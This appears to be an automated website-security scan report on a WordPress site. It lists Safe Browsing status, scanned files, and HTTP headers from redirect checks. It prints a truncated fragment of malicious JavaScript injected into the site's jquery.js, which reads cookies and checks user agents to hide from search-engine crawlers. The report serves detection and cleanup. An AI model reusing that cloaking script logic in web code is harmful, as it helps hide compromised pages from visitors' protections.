Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=lepetitambertois.org
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://lepetitambertois.org/ | 503 Service Temporarily Unavailable Content-Length: 2185 Content-Type: text/html | clean |
http://lepetitambertois.org/wp-includes/js/jquery/jquery.js | 200 OK Content-Length: 97468 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(e){var o=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return o?decodeURIComponent(o[1]):void 0}!function(){function e(e,o,t){var r=(e+"").toLowerCase(),i=(o+"").toLowerCase(),n=0;return-1!==(n=r.indexOf(i,t))?n:!1}function o(){var o=["Linux","Windows NT 6.3","Windows NT 6.2","rv:11.0","AppleWebKit","Android","Googlebot","IEMobile","Yandex"],t=!1;for(var r in o)if(e(navigator.userAgent,o[r])){t=!0;break}return t}var t jQuery.noConflict(); Antivirus reports:
| ||
http://lepetitambertois.org/wp-content/plugins/ultimate-maintenance-mode/template/script.js | 200 OK Content-Length: 5151 Content-Type: application/javascript | clean |
http://lepetitambertois.org/wp-content/plugins/ultimate-maintenance-mode/template/bootstrap/js/bootstrap.js | 200 OK Content-Length: 59582 Content-Type: application/javascript | clean |
http://lepetitambertois.org/test404page.js | 503 Service Temporarily Unavailable Content-Length: 2185 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: lepetitambertois.org
Result:
HTTP/1.1 503 Service Temporarily Unavailable
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Sun, 05 Oct 2014 15:38:35 GMT
Pragma: no-cache
Retry-After: 86400
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: mailplanBAK=R2555564460; path=/; expires=Sun, 05-Oct-2014 16:45:50 GMT
Set-Cookie: mailplan=R243207685; path=/; expires=Sun, 05-Oct-2014 16:41:39 GMT
Set-Cookie: PHPSESSID=8c92e0b91b4317a0c7f85e2e15f2437f; path=/
X-Pingback: http://lepetitambertois.org/xmlrpc.php
X-Powered-By: PHP/5.2.17
GET / HTTP/1.1
Host: lepetitambertois.org
Result:
HTTP/1.1 503 Service Temporarily Unavailable
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Sun, 05 Oct 2014 15:38:35 GMT
Pragma: no-cache
Retry-After: 86400
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: mailplanBAK=R2555564460; path=/; expires=Sun, 05-Oct-2014 16:45:50 GMT
Set-Cookie: mailplan=R243207685; path=/; expires=Sun, 05-Oct-2014 16:41:39 GMT
Set-Cookie: PHPSESSID=8c92e0b91b4317a0c7f85e2e15f2437f; path=/
X-Pingback: http://lepetitambertois.org/xmlrpc.php
X-Powered-By: PHP/5.2.17
Second query (visit from search engine):
GET / HTTP/1.1
Host: lepetitambertois.org
Referer: http://www.google.com/search?q=lepetitambertois.org
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: lepetitambertois.org
Referer: http://www.google.com/search?q=lepetitambertois.org
Result:
The result is similar to the first query. There are no suspicious redirects found.